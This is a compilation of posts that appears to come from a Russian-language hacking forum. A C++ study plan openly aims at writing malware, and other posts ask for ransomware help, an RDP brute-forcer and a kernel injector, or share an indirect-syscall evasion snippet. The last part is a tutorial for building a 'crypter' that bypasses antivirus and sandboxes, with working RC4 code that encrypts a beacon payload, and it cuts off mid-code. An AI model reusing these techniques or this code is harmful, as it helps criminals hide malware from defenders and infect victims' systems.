Итак, пришло время собирать камни (С) – приступить к написанию обещанного
цикла статей.
1.1 Мотивация. Или для чего всё это нужно.
Тут должна быть некая предыстория, в которой рассказывалось бы про ... Да про
что угодно, на самом деле. Но ее не
будет. Мотивация предельно простая. Хочу плашку эксперта, как у Вахи и Ранда.
А для этого нужно потрудиться.
А если серьезно, то имея достаточно солидный опыт разработки на плюсах, я всё
равно временами испытываю сложности
при разработке тематических проектов. Многие вещи для меня остаются загадкой,
до тех пор, пока я не пощупаю их лично.
Но мне чуть проще, т.к. опыт белой разработки позволяет относительно быстро
«въехать в тему» на уровне, достаточном
для решения задачи но, зачастую, недостаточном для понимания сути вещей.
Поэтому я решил пойти по пути повышения
своей квалификации именно таким способом. Ибо, как известно, если хочешь
разобраться в чем либо, попробуй объяснить
это пятилетнему ребенку. Глядишь и получится чего.
А если у вас нет серьезного опыта промышленной разработки, то зачастую всё
будет сводиться к сочинению очеред-
ной козы на лисапеде, из говна и палок, с кучей костылей. У меня тоже примерно
так, только у меня получаются уже
тюнингованные козы или лисапеды, поэтому будем учиться вместе.
1.2 Для кого этот курс
Как упоминалось выше, курс предназначен для всех желающих вступить в секту
адептов С++. А также для тех, кто
считает себя уже состоявшимся профи и готов делиться опытом и получать новый.
Ибо, как известно, опыта много не бывает.
Особенно ценным вкладом в проект будет участие в нем опытных специалистов по
мыловарению. Я очень надеюсь, что для
кого-то это станет отправной точкой путешествия в увлекательный мир разработки
на православных плюсах. Если хотя бы
один человек напишет, что проект помог ему определиться с дальнейшим
направлением развития – значит всё уже не зря.
1.3 Цели и задачи курса.
Как строительство любого здания начинается с проектирования, так и любой курс,
будь то и курс по матану в универе,
и курс от инфоцыган по зарабатыванию 100500 баксов в наносекунду, начинается с
описания целей и задач.
Приступим. Здесь я постараюсь набросать своё видение, в дальнейшем этот список
будет пополняться и редактироваться.
Попрошу не пугаться несколько формального описания целей и задач. Это не
означает вовсе, что курс будет построен
именно в таком порядке. Мы пойдем другим путем. Во время написания проектов в
рамках курса будут возникать вопросы,
так или иначе перечисленные в целях и задачах. Мы их будем подробно разбирать,
давать отсылку на соответствующие
источники. Необходимый минимум для решения проблемы я дам. Остальное для
самостоятельного изучения. Всегда поста-
раюсь ответить на ваши вопросы.
На самом деле я сам еще не знаю что у нас получится. Но, как говорил один
мудрый человек: «будешь делать – будет
делаться, а не будешь делать – ни х*я не будет делаться».
Дабы упростить восприятие, основные пункты – это у нас цели, а подпункты –
задачи, которые необходимо решить для
достижения целей.
Поехали.
1. Цель: Дать общее понимание специфики изучения С++, с учетом как
собственного опыта, так и исходя из ваших
советов и комментариев.
Задачи:
2. Цель: Дать общее представление о технологии разработки ПО,
применительно к мыловарению и не только.
Обсудим и попробуем применить на практике такие штуки, как:
3. Цель: дать общее представление о разработке архитектуры
приложений.
Архитектура приложений – это основа основ, залог успеха или неудачи проекта.
Поэтому данному аспекту будет уделено особое внимание.
Задачи:
4. Цель: изучить и научиться применять на практике паттерны
проектирования.
Задачи:
5** . Цель** : научиться писать чистый код.
Небольшое лирическое отступление.
Чтобы научиться писать чистый код необходимо регулярно этим заниматься.
Приведу пример.
В свое время для меня матан был китайской грамотой. А при виде несобственных
интегралов я впадал в полуобморочное состояние. Но, как известно, успех
любого специалиста прямо пропорционален квадрату его задницы. Выбор у меня
был простой. Либо отчисляться с позором, либо таки научиться брать эти
интегралы. Вооружившись Фихтенгольцем, Демидовичем и китайским Антидемидовичем
я взялся за дело. С первыми 30 интегралами проблем не было. Они табличные,
либо сводятся к ним в пару преобразований. А вот дальше было очень весело. В
китайском антидемидовиче решения были, даже с комментариями и подробным
объяснением. Но, сука, на китайском. У меня было всего 2 пути. Либо
разбираться с матаном, либо учить китайский. Я пошел по первому пути. После
первой сотни я начал понимать, что вроде там ничего сложного то и нет. После
второй – я начал то ли понимать что я делаю, то ли осваивать китайский. После
третьей – я почти перестал подглядывать в китайца. По итогу: зачет был сдан,
экзамен тоже. С чистым кодом, архитектурой и прочими сложными штуками ситуация
аналогичная. И мы попробуем таки это сделать – научиться ими пользоваться. Для
этого нам понадобится:
6. Цель : Изучить системы контроля версий и научиться применять их как в
командной, так и при индивидуальной разработке.
Задачи:
7. Цель : дать общее представление о внутреннем устройстве операционных систем.
Задачи: (нагло слямзил у Русиновича)
Для Unix систем список задач будет аналогичен, на нем пока останавливаться не
буду, дополню, если потребуется.
8. Цель : дать общее представление о работе компьютерных сетей,
организации корпоративных сетей.
В данном разделе основной упор будет сделан на внутреннее устройство
корпоративных сетей, принципы их работы.
Задачи:
9,Цель : – дать общее представление о написании зловредов средствами
С++. Разработать в рамках курса супер-пупер-вирус, которым можно взломать
Пентагон или спереть всю крипту у жирных буржуев.
Задачи:
Считаю, что пока этих целей и задач более чем достаточно для того чтобы
приступить к реализации нашего первого
проекта.
Теперь немного о том, что представлено в первой, вводной статье.
Я постараюсь дать, если не исчерпывающий, то стремящийся к таковому список
литературы, материалов и инструментов,
необходимых для старта. Постараюсь кратко рассказать об инструментах, которыми
лично я пользуюсь каждый день. Еще
раз повторюсь. Основная цель курса дать удочку, а не рыбу. То есть максимально
сократить время на изучение теории
«По классике», когда мы сначала изучаем условное ООП, а потом пишем десяток
непонятных и никому ненужных «hello
worldow» на демонстрацию всяких там полиморфизмов и прочих инкапсуляций. Но,
при этом, без глубокого понимания
теоретических основ нам ловить нечего. Поэтому на каждом этапе я буду
стараться давать рекомендации по изучению того
или иного теоретического материала.
Ну что же, поехали.
В этой главе у нас не будет кода, от слова совсем. Будет много умных книжек и
серьезных ресурсов. К каждому из
которых я дам краткий комментарий, дабы не размазывать статью.
Также мы постараемся выбрать необходимый инструментарий и настроить рабочее
окружение, чтобы подойти к следу-
ющему этапу во всеоружии.
Меньше слов, больше дела. Поехали.
2 Список литературы и ресурсов, необходимых для успешного старта.
2.1 Литература по С++
Я намерено не включаю в список литературы учебники, посвященные азам языка,
т.к. всё это вы можете найти и без
меня. Кроме того, я предполагаю, что большинство из начинающих разработчиков в
состоянии самостоятельно их, азы,
освоить. Курсов сейчас пруд пруди.
2.1.1 Бессмертная классика.
2.1.2 Полезные ресурсы.
2.1.3 STL
STL – стандартная библиотека шаблонов. Не буду растекаться мыслью по древу о
ее важности, а просто приведу цитату из предисловия к книге Яцека Галовица
(наверное фамилия, всё же, склоняется.) «C++ 17 STL стандартная библиотека
шаблонов»:
«Сегодняшний С++ (сам язык и библиотека шаблонов) предоставляет средства
для работы со сложными структурами данных и алгоритмами, предлагает
возможность управления ресурсами с помощью автоматических указателей, а также
поддерживает лямбда-выражения, константные выражения, переносимые средства
управления потоками для параллельного (конкурентного) программирования,
регулярные выражения, генераторы случайных чисел, исключения, шаблоны с
переменным количеством аргументов (эта часть языка C++,отвечающая за шаблонные
типы, является полной по Тьюрингу!), определенные пользователями литералы,
переносимые средства работы с файловой системой и многое другое. Такое
количество возможностей делает С++ универсальным языком, который идеально
подходит для реализации высококачественного и высокопроизводительного
программного обеспечения, применимого в различных отраслях. Однако многие
разработчики С++ охотно изучают сам язык, а библиотеку STL переводят на задний
план. Применение языка C++ без поддержки стандартной библиотеки зачастую
приводит к тому, что программы выглядят так,
будто написаны с использованием классов, а не с учетом современных подходов.
Это печально, ведь подобное применение языка не дает задействовать всю его
мощь
В четвертом издании своей книги The C++ Programming Language («Язык
программирования С++»), включающем сведения в том числе о С++11, Бьярн
Страуструп (Bjarne Stroustrup) пишет: «Пожалуйста, помните, что эти
возможности языка и стандартной библиотеки призваны поддержать приемы
программирования, позволяющие разрабатывать качественное ПО. Для решения
какой-то конкретной задачи их нужно использовать в комбинации друг с другом —
как кирпичики из одного набора, — а не отдельно и изолированно друг от друга».
»
Сюда я помещу всего 2 книги, но их, считаю, будет вполне достаточно для
решения большинства стандартных и не очень
задач, связанных с использованием STL.
2.1.4 Boost
Писать на С++ и не использовать всю мощь boost – преступление. Это мое личное
мнение. Фактически эта штуковина
дает почти безграничные возможности. Там есть всё, а чего нет – можно
написать. Но, как говорится, есть один нюанс. Сразу
пытаться использовать буст – это равносильно самоубийству. Однако, если вы
сможете постичь дзен, то всё остальное будет
казаться вам сущими пустяками. Библиотека boost настолько мощная, что
отдельным модулям посвящены целые книги. В
частности это
2.1.5 Qt
Возможно Qt в мыловарении и сложно использовать напрямую, поскольку это тот
еще монстр. Однако для вспомогательных целей может вполне даже пригодиться,
особенно когда необходимо быстро накидать гуй для более удобного тестирования
или использования. Я лично очень люблю делать различные конфигураторы с
помощью кути. Это когда ты создаешь мастера, он тебе предлагает заполнить поля
на нескольких страницах и на выходе выплевывает JSON. Гораздо проще один раз
написать конфигуратор, нежели ручками каждый раз редактировать json или, упаси
боже, просить юзера сделать собственный конфиг по вашему образцу. Поверьте, вы
узнаете о себе много нового.
Тут у нас тоже всё по классике.
В качестве полезного ресурса для изучения Qt хотел бы порекомендовать
evileg.com – отличный цикл уроков по кути,
от азов, до сложных вещей. Автор, вроде как, действующий Qt разработчик. Там
же есть статьи по многим направлениям,
в том числе по азам С++, несколько статей по boost, из которых заслуживает
отдельного внимания статья, посвященная
статической линковке приложений с бустом, под винду. Но наиболее полный курс у
него получился именно по куте.
2.2 Чистый код. Искусство рефакторинга.
Одна из целей проекта – научиться писать чистый код. Рассмотрим основную
литературу по теме.
Я намерено не расширяю список другими произведениями, ибо их десятки и сотни.
Каждый составит собственный «must
read» список, но даю необходимый минимум.
2.3 Литература по проектированию и архитектуре ПО.
Самое интересная и сложная часть. Тут, опять же, мы не обойдемся без классики.
Поехали.
2.4 Литература по управлению проектами.
пока опущу этот пункт, нам добраться бы до него.
2.5 Литература по внутреннему устройству операционных систем.
Знание внутреннего устройства ОС и понимание механизмов их работы является
критически важным как для мыло-
варов, так и для специалистов по защите информации. Тут можно провести
аналогию с автомехаником и пониманием им
устройства и принципов работы ДВС.
Рассмотрим основные задачи, для решения которых оно таки надо:
Начнем, как обычно, с классики.
2.5.1 Windows
2.5.2 Linux
Линукс мы пока тоже опустим. Для начала с виндой бы разобраться. Первое что
пришло на ум – Роберт Лав «Linux
driver development».
2.6 Литература по сетям.
Тут тоже всё по классике.
Возможно вы сможете еще что-то порекомендовать. Буду очень признателен.
2.6.1 Литература по корпоративным сетям и Active Directory
Active Directory – это штука, представляющая собой такой «Швейцарский нож», с
помощью которого хоть ракету в космос можно запустить, только нужно найти
нужную кнопку. Проблема в том, что ее еще надо найти. Возможно сравнение и не
очень корректное, но вот мысль, которую я хочу донести – если бы сисадмины
использовали хотя бы 50% ее возможностей, то 99% мамкиных хацкеров никогда бы
не заработали свою первую десятку зелени на халяву. К нашему счастью, с той
стороны мамкиным хацкерам противостоят мамкины же сисадмины, которые зачастую
не понимают мощности инструмента, который им достался. Там только с помощью
одних групповых политик можно так законопатить сеть, что мышь не проскочит.
2.7 Литература по информационной безопасности.
С этим пунктом мне обещали помочь наши уважаемые форумчане, ибо обычные книги
успевают устареть раньше, чем
будут напечатаны. Чуть позже этот пункт дополню.
2.7.1 Вирусология. Написание вирусов и прочих зловредов
2.7.2 Методы защиты информации.
2.8 Литература по системам контроля версий.
Поскольку мы будем использовать git, то я ограничусь литературой по этому
продукту, который сильно упрощает жизнь.
1. Скотт Чакон, Бен Страуб, ProGit – исчерпывающее руководство по Git,
которое будет полезно менеджеру по
конфигурации. Книга покрывает все основные аспекты Git, включая создание
репозиториев, ветвление и слияние, а
также расширенные техники работы с Git.
3 Подготовка к запуску проекта. Управление проектом. Инструменты для команд-
ной разработки.
Теперь нам нужно подготовить рабочее окружение. Нам понадобятся:
Поехали.
3.1 Таск-трекер. Выбор, настройка, политики использования.
Начнем с Таск-трекера. Если коротко , это специальный сервис для отслеживания
выполнения задач. С очень бога-
тым внутренним миром, с этими вашими канбанами,эджайлами и прочими scrum’aми.
Наиболее известные: Jira, YouTrack,
OpenProject, Redmine. Каждая из них обладает своими преимуществами и
недостатками. Функционал, плюс минус, похож
– отслеживание времени и затрат, совместная работа над проектами, интеграция с
gitlub, github, .... Можно развернуть
на собственном сервере. Jira и YouTrack бесплатны для команд до 10 человек.
OpenProject и Redmine - опенсурсные и
бесплатные.
• Redmine – имеет необходимый и достаточный функционал для полноценного
управления проектом и командой.
Расширяется с помощью плагинов, но в последнее время, как мне кажется, уже
немного старомоден, что-ли. Многое
придется настраивать ручками, маловато готовых шаблонов. При установке
необходим шаманский бубен и хороший
запас русского матерного, ибо написан он на рельсах (Ruby on Rails).
• OpenProject – имеет богатый функционал «из коробки», можно настроить под
себя всё что угодно. Ставится из
коробки без лишних телодвижений.
Лично мне нравится OpenProject. YouTrack тоже хорош, но с недавнего времени я
принципиально не плачу этим редискам из
JetBrains. Jira – корпоративный монстр, как по мне. Ее точно не стоит
использовать в проектах с общим числом участников
менее сотни.
3.2 Выбор и настройка системы контроля версий.
Про системы контроля версий я уже писал в целях и задачах. Рассмотрим две
наиболее популярные – git и subversion. А
использовать будем гит, т.к. его, по меньшей мере основные команды, так или
иначе знают большинство.
3.2.1 GIT
Для винды я рекомендую использовать git for windows
(https://gitforwindows.org/). Отличная консольная утилита. С поддержкой
основных команд. Да еще умеет в основные команды линукса – cd, ls, cat, cp,
mv, и даже бальзам на мою душу – встроенный редактор vim – git bash это
называется. Git BASH Git for Windows provides a BASH
emulation used to run Git from the command line. *NIX users should feel right
at home, as the BASH emulation behaves just like the "git"command in LINUX and
UNIX environments. Установка простая, позволяет выбрать формат коммитов и,
самое главное, при инициализации пустого репозитория создает ветку master,
которая существовала испокон веков, что называется. А не, «main», бл#ть,
которую придумали недопидорги-общечеловеки.
Под линуксом ставится в одну команду
sudo apt install git
Для удобства я развернул gitlab. Кому надо – стучите в личку, выдам доступ.
Там же есть встроенный таск-трекер.
3.2.2 Subversion (SVN)
После работы с git кажется очень неудобной. В одной из контор, где мне
довелось работать, использовали сие чудо.
Каких-то негативных эмоций не было. Но привыкать к мышкоблудию пришлось
довольно долго. Под виндой вменяемых
консольных клиентов я не нашел. Если кто встречал – поделитесь в комментах. А
гуевина есть – черепашка мы ее звали,
TortoiseSVN называется. Хороший инструмент, но тут уже, как говорится,
вкусовщина. Мне достаточно нормального bash
окружения для git.
4 Подготовка рабочего окружения.
4.1 Выбор IDE
Выбор IDE для программиста сродни выбору снаряги для покорения Эвереста
альпинистом. Современные IDE в том
или ином виде предоставляют весь необходимый функционал и даже больше. О
существовании многих фич можно даже не
подозревать. Постараюсь быть кратким.
4.1.1 MS Visual Studio
Студия. Старая, добрая, ламповая. Может и умеет почти всё. Нужно уметь ее
готовить. Поддерживает несколько компи-
ляторов и систем сборки. Умеет даже в линукс, но я лично сложнее «hello
world’a» не писал, чисто поигрался, потестировал.
Доступно несколько лицензий, в том числе бесплатная. Я использую professional.
Мне хватает. Ключики лежат на гитхабе
и гуглятся на раз. Что интересно – без проблем доступна из РФ.
Модульное тестирование (или юнит-тестирование) — это процесс в
программировании, позволяющий проверить
на корректность отдельные модули исходного кода программы. Модули могут
включать в себя один или несколько про-
граммных модулей вместе с соответствующими управляющими данными, процедурами
использования и обработки. Ос-
новные принципы модульного тестирования:
• Изоляция: каждый модуль тестируется отдельно, что позволяет быстро выявить
ошибки и регрессии.
• Поощрение изменений: модульные тесты помогают программистам проводить
рефакторинг кода, будучи уверен-
ными в его корректности.
• Упрощение интеграции: модульное тестирование помогает устранить сомнения по
поводу отдельных модулей и
может быть использовано для подхода к тестированию «снизу вверх».
• Документирование кода: модульные тесты можно рассматривать как «живой
документ» для тестируемого класса.
• Отделение интерфейса от реализации: модульные тесты помогают
абстрагироваться от сложных зависимостей
и минимизировать их в системе.
Преимущества модульного тестирования:
• Быстрое выявление ошибок: Позволяет быстро обнаруживать ошибки в коде и
исправлять их.
• Упрощение рефакторинга: Поощряет программистов к изменениям кода, так как
легко проверить, что код рабо-
тает и после изменений.
• Упрощение интеграции: Помогает устранить сомнения по поводу отдельных
модулей и может быть использовано
для подхода к тестированию «снизу вверх».
• Документирование кода: Модульные тесты могут служить примером использования
класса.
• Отделение интерфейса от реализации: Помогает минимизировать зависимости в
системе.
Существует много различных фреймворков для модульного тестирования. Мы
рассмотрим наиболее популярные.
5.1.1 Google tests.
Google Tests — это библиотека для модульного тестирования на языке C++,
разработанная Google. Она предостав-
ляет мощный инструмент для тестирования отдельных частей программы (классов,
функций, модулей) в изоляции.
Основные особенности Google Tests включают:
• Минимальные единицы тестирования: Каждый тест представляет собой отдельную
единицу, которая автомати-
чески запускается при запуске.
• Группы тестов: Тесты могут быть объединены в группы, что позволяет
организовать тестирование более структу-
рированно.
• Тестовые классы (test fixture): Возможность создания и повторного
использования одной и той же конфигурации
объектов для нескольких различных тестов.
• Безопасность для многопоточного использования: Библиотека разработана с
учетом многопоточного использо-
вания, хотя для использования утверждений в разных потоках одновременно
требуется самостоятельная разработка
примитивов синхронизации.
• Поддержка различных платформ: Официально поддерживается на Linux, Windows и
Mac, но также работает на
множестве других систем.
Гуглотесты отлично интегрируются со всеми вышеперечисленными IDE. Пока
остановимся на них.
Я тут еще много чего хотел написать. Но пока не буду. Итак уже тут много воды
налито.
6 Заключение
В общем получилось что есть. Несколько растянулось это дело всё.
Теперь попробую описать дальнейшие шаги.
1. определиться с типом разрабатываемого приложения;
2. описать его примерный функционал;
3. сформулировать требования к продукту;
4. составить техническое задание;
5. спроектировать архитектуру;
6. разработать MVP продукта;
7. ну и так далее, я там выше уже всё это писал
Я это к чему всё. Если кто-то думает, что я буду в одну каску код писать –
таки нет, вы сильно ошибаетесь. У нас будет
полноценная командная разработка. Во всяком случае я очень надеюсь, что это
получится. А я потом буду всё это веселье
описывать. Прошу всех желающих принять непосредственное участие в разработке
оставить плюсик.
Спасибо всем, кто дочитал до конца.
За сим позвольте откланяться.56
всем привет, недавно поставил себе точную цель стать малварь кодером
(крипт/боты/лоадеры и т.д) на постоянку и дополнительно найти белый ворк.
начал разбирать продукт Matanbuchus и colibri (на этом же
форуме) построил примерную архитектуру и сформировал себе тз. в это же время
постоянно ресерчу форум в поисках полезной информации и недавно наткнулся на
большое количество постов от DildoFagins про nim и dlang,
почитал про эти языки и зашел больше dlang , начал читать книгу про dlang и
почему-то подсознательно появляются сомнения насчет моего пути, а стоит ли?
может лучше другой яп? и всякие прочие мысли.
исходя из всего этого хочу попросить совета от знатаков в теме или в личных
сообщениях где мне помогут определиться в каком направлении двигаться.
так же если у кого-то есть похожие цели много свободного времени и желание создавать проекты жду вас в лс
i would like to know what the best programming language to code malware in is, for example a botnet loader which is best for the clientside and why
Кто знает, как компилить спп код под андроид чтобы потом через
Runtime.getRuntime().exec() можно было запускать.
Какой компилер и тп.
всем привет, имею средние знания компьютер саинса и c/c++/rust
тянет писать малварь и прочие низкоуровневые проекты и так же веб для них.
посоветуйте пожалуйста в каком направлении двигаться, какой яп перспективней
всего или же какой эффективней всего для малвари в текущих реалиях (удобство в
разработке или же в обучении играет более меньшую роль в выборе для меня чем
возможности языка). буду рад если помимо совета по япу посоветуете IDE для
разработки больших проектов малвари , с десктоп частью и веб частью.
так же было бы неплохо еслиб ваш совет был подкреплен материалом
(курсы/книги/лекции на ютубе и всякий прочий материал)
We are looking for custom Rdp brute forcer,
If you got any, or can write contact us
Доброго времени суток. Относительно недавно решил изучать ЯП С++ и хотел бы узнать, как можно более в понятной форме изучать этот язык. Возможно у вас есть подборка книг, статей или документация/информация которая изложена простыми словами. Буду рад знатокам и новичкам в помощи данного вопроса!
Цель изучения данного языка: Будущее поступление в вуз робототехники
(Заграницей) и написание софта под них и для себя или комерческих
целей(Возможно и другие отрасли). Мотивация изучаения это сфера описанная выше
и её переспективы а деньги втотричны, иначе в обратном случае когда цель это
деньги, то скорее всего столкнулся бы с выгоранием или забросил бы это дело.
P.S: На вопрос а почему раньше не занимался изучением ЯП я отвечу: Учился пару
лет назад в колледже которая была ориентирована на это, но изучение
программирования было по малу а иногда вовсе отсуствовало + консервативные
учителя советской закалки которые падавляли всяческие проявления
индивидуальности. Думаю не стоит обьяснять что это напрочь отбило желание
программировать. И вот спустя время я начинаю осваивать для себя новые
инструменты. Розовых очков нету, смотрю на это как реалист, жду ваших
мнений
А ещё что думаете насчет курса и лекций Гарварда на Youtube?
Гайс, нужен хороший обфускатор под c#, NF. платный\бесплатный не важно. что посоветуете?
не хочу чтоб крякнули.
только просьба советуйте дельный который реально защищает код. непроверенный из гугла только на крайний случай рассматриваю.
Может кому то понадобится метод получения NTSTATUS`a индирект сисколла из пула
потоков (пул потоков служит для "очистки" стека). Сам долго думал над
реализацией.
Пример работы с пулом потоков https://0xdarkvortex.dev/hiding-in-plainsight/
C:Copy to clipboard
PVOID pReturnAddress = NULL;
volatile LONG* pNtStatus = NULL;
HANDLE hEvent = NULL;
LONG CALLBACK VectorHandler(PEXCEPTION_POINTERS ExceptionInfo) {
static bool bpSet = false;
CONTEXT* ctx = ExceptionInfo->ContextRecord;
if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_ILLEGAL_INSTRUCTION) {
if (!bpSet) {
ctx->Dr0 = (DWORD64)pReturnAddress;
ctx->Dr7 = 0x00000001;
ctx->Rip += 2;
bpSet = true;
}
return EXCEPTION_CONTINUE_EXECUTION;
} else if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP) {
*pNtStatus = (NTSTATUS)ctx->Rax;
ctx->Dr0 = 0;
ctx->Dr7 = 0;
SetEvent(hEvent);
return EXCEPTION_CONTINUE_EXECUTION;
}
return EXCEPTION_CONTINUE_SEARCH;
}
int wmain()
{
NTSTATUS NtStatus = 0;
pNtStatus = (volatile LONG*)VirtualAlloc(NULL, sizeof(LONG), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (pNtStatus == NULL) {
return 0;
}
hEvent = CreateEvent(NULL, FALSE, FALSE, NULL);
if (hEvent == NULL) {
return 0;
}
pReturnAddress = GetSyscallAddress(0xdeadbeef);
AddVectoredExceptionHandler(1, VectorHandler);
//вызов syscall`a
...
NtStatus = *pNtStatus;
printf("NTSTATUS: 0x%X\n", NtStatus);
CloseHandle(hEvent);
VirtualFree((LPVOID)pNtStatus, 0, MEM_RELEASE);
return 0;
}
Был бы очень благодарен если кто-нибудь здесь мог бы мне помочь с написанием
кернел инжектора
В теории я понимаю но теперь нужно на практике
В делах программистских я суперновичок из опыта которого уверенное владение базовой базой(конструкции языка c++, ооп, идиомы) отточенной и отполированной кодварсом, литкодом и консольными играми-безделушками. На этом этапе было всё довольно просто: есть язык - учи язык, но дальше абсолютный мрак. Часто слышал "делай что нравится/выбери сферу" но все направления кажутся слишком глобальными, где одно хватается за другое и так до бесконечности. Дело разумеется во мне, но может вы дадите сможете помочь советом.
Есть ли какой-то подробный роадмап который вы видели или использовали при изучении какой-то направления на тех же плюсах? Насколько этот опыт применим к трудоустройсву? Может вам есть что посоветовать в целом? Системное программирование кажется крутой идеей но в плане поиска работы может уйти польше года на одну подготовку так ли это?
Ни одного друга-программиста нет так что могу спросить только у вас.
Привет.
Нужно реализовать следующую задачу:
Есть список IP.txt содержащий строки ip:port
Код должен отправлять пустой пакет(с 1 байтом 0x00) на каждый ip:port и
проверять ответ. Если первый байт ответа == 0x55 то записывать в файл Good
иначе в файл Bads.txt или если ошибка то в файл Error.txt
Нужна большая скорость работы.(Списки минимум от миллиарда строк)
C++/C#
Толковая книжка по Native API, изучайте.
Содержание:
Chapter 1: Introduction to Native API Development
Chapter 2: Native API Fundamentals
Chapter 3: Native Applications
Chapter 4: System Information
Chapter 5: Processes
Chapter 6: Threads
Chapter 7: Objects and Handles
Chapter 8: Memory (Part 1)
Chapter 9: I/O
Почему-то не прикрепилась к посту
Линк:
![gofile.io](/proxy.php?image=https%3A%2F%2Fgofile.io%2Fdist%2Fimg%2Flogo- small-og.png&hash=32429581fada6ae1887e27dfa99f76aa&return_error=1)
](https://gofile.io/d/qcBV3b)
Gofile is a free, secure file sharing and storage platform. With unlimited bandwidth and storage, you can easily store and share files of any type without any limits. Our advanced features, such as CDN support and password protection, make Gofile the ideal choice for individuals and businesses...
gofile.io
Приветствую всех! Кто может мне помочь?
При использование параметра в C/C++ -> Создание Кода -> Библиотека
выполнения-> /MT
Предварительно использую эти параметры:
Компоновщик -> Файл манифеста -> Создавать манифест -> Нет(/MANIFEST:NO)
C/C++ -> Оптимизация -> Максимальная оптимизация (приоритет размера) (/O1)
C/C++ -> Оптимизация -> Предпочитать размер или скорость -> Предпочитать
краткость кода (/Os)
Вот такой код
C++:Copy to clipboard
#include <Windows.h>
int main()
{
return 0;
}
При билде в Release/x64 файл занимает 108кб. Я хочу так же использовать CRT и STL , но при этом хочется уменьшить размер файла . Буду благодарен за советы ,что можно будет сделать, всем спасибо. Дополнительно: Я знаю про upx, я ищу еще альтернативные способы. Мне нужен /MT , я хочу чтобы код был переносимым. Я не хочу отключать CRT и STL, мне это надо, я работаю с этим .
Был сайт c темносиним фоном, на котором были все необходимые функции
WinAPI(отдельно рансом, отдельно стиллер, отдельно клиппер). Не мог бы кто-
нибудь скинуть линк(если понял, про что я имею в виду)
Извините за бестолковый вопрос
Привет всем, я хотел знать, где, какие ресурсы я могу изучить, чтобы запрограммировать хорошо спроектированную программу-вымогатель, я изучал C/C++, но я не знал, как эффективно использовать Windows API, я не до конца понимал, поэтому я хотел знать некоторые функции или инструменты и все, что может помочь мне в этой траектории
Write Your Own crypter with GUI in One tutorial, In less than One Hour. And Evad's most popular AV, EDR products!
The Killer Guide by TOP G.
Source: https://xss.is
This is part 3 You can check parts from the links below
PART 1 here:
https://xss.is/threads/97133
PART 2 here: http://xss.is/threads/98026
**POC’s Proof Of Concepts
Bypass windows defender**
Bypass KasperSky Antivirus
Before continuing reading, if you still haven't read PART 1 and PAR 2, please ensure you read them.
In Parts 1 and 2 we created the GUI and client Server authentication and Finished up the Custom functions GetProcAddress and GetModuleHandle in this part, we will Continue finishing all futures left and will bypass AVG sandbox, RC4 encryption, and other futures
Here are the futures we will use in our Crypt
1 ) - Runtime Crypting
2 ) - Runtime string obfuscation
3 ) - Anti Virus Total and Anti app.any.run
4 ) - Bypass Avast and AVG Sandbox ( this is a very important and private
method )
5 ) - Anti Sandbox and virtual machines ( Detecting VMware and virtual box )
6 ) - Creating Custom GetModuleHandle and GetProcAddress
7 ) - API Hashing
8 ) - RC4 Encryption Algorithm
So as you already know we finished Future number 6 and Future number 7
#RC4 Encryption Algorithm
FireUp your visual studio and create a new Project name it rc4Crypter
Create the files
1 - rc4.h
2 - rc4.cpp
3 - main.cpp
In the rc4.h add the following code
C++:Copy to clipboard
#pragma once
#ifndef _RC4_H
#define _RC4_H
struct rc4_state
{
int x, y, m[256];
};
void rc4_setup(struct rc4_state* s, unsigned char* key, int length);
void rc4_crypt(struct rc4_state* s, unsigned char* data, int length);
#endif
In the rc4.cpp add the following code
C++:Copy to clipboard
void rc4_setup(struct rc4_state* s, unsigned char* key, int length)
{
int i, j, k, * m, a;
s->x = 0;
s->y = 0;
m = s->m;
for (i = 0; i < 256; i++)
{
m[i] = i;
}
j = k = 0;
for (i = 0; i < 256; i++)
{
a = m[i];
j = (unsigned char)(j + a + key[k]);
m[i] = m[j]; m[j] = a;
if (++k >= length) k = 0;
}
}
void rc4_crypt(struct rc4_state* s, unsigned char* data, int length)
{
int i, x, y, * m, a, b;
x = s->x;
y = s->y;
m = s->m;
for (i = 0; i < length; i++)
{
x = (unsigned char)(x + 1); a = m[x];
y = (unsigned char)(y + a);
m[x] = b = m[y];
m[y] = a;
data[i] ^= m[(unsigned char)(a + b)];
}
s->x = x;
s->y = y;
}
In the main.cpp add the following code
C++:Copy to clipboard
printf("argv[1] %s \n", argv[1]);
std::string inputPath = argv[1];
std::string outputDirectory = argv[2];
std::string key = argv[3];
char outputPath[MAX_PATH];
char KeyPath[MAX_PATH];
strcpy(outputPath, outputDirectory.c_str());
strcat(outputPath, "stub.enc");
strcpy(KeyPath, outputDirectory.c_str());
strcat(KeyPath, "key.h");
//std::cout << "Input path: " << inputPath << std::endl;
//std::cout << "Output path: " << outputDirectory << std::endl;
//std::cout << "Key: " << key << std::endl;
// convert plaintext key to hex key and save it to file
char temphexKey[MAX_PATH];
char hexKey[MAX_PATH];
sprintf(temphexKey, "\nunsigned char key[] = {");
strcpy(hexKey, temphexKey);
for (int x = 0; x <= (strlen(key.c_str()) - 1); x++)
{
if (x == strlen(key.c_str()) - 1)
sprintf(temphexKey, "0x%x", key[x]);
else
sprintf(temphexKey, "0x%x,", key[x]);
strcat(hexKey, temphexKey);
}
strcat(hexKey, "};\n");
printf(hexKey);
HANDLE hKey = CreateFileA(KeyPath, GENERIC_WRITE, NULL, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
WriteFile(hKey, hexKey, strlen(hexKey), 0, 0);
CloseHandle(hKey);
HANDLE hBeacon = CreateFileA(inputPath.c_str(), GENERIC_READ, NULL, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
DWORD beaconSize = GetFileSize(hBeacon, 0);
DWORD beaconReadedBytes = 0;
unsigned char* buffer = (unsigned char*)LocalAlloc(LPTR, beaconSize);
if (!ReadFile(hBeacon, buffer, beaconSize, &beaconReadedBytes, 0))
{
printf("can't read the beacon file \n");
return -1;
}
CloseHandle(hBeacon);
struct rc4_state* s;
s = (struct rc4_state*)malloc(sizeof(struct rc4_state));
printf("[+] Encrypting...\n");
rc4_setup(s, (unsigned char*)key.c_str(), key.size());
rc4_crypt(s, buffer, beaconSize);
HANDLE hEncBeacon = CreateFileA(outputPath, GENERIC_WRITE, NULL, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
DWORD ebeaconReadedBytes = 0;
if (!WriteFile(hEncBeacon, buffer, beaconSize, &ebeaconReadedBytes, 0))
{
printf("can't write the encrytped beacon file \n");
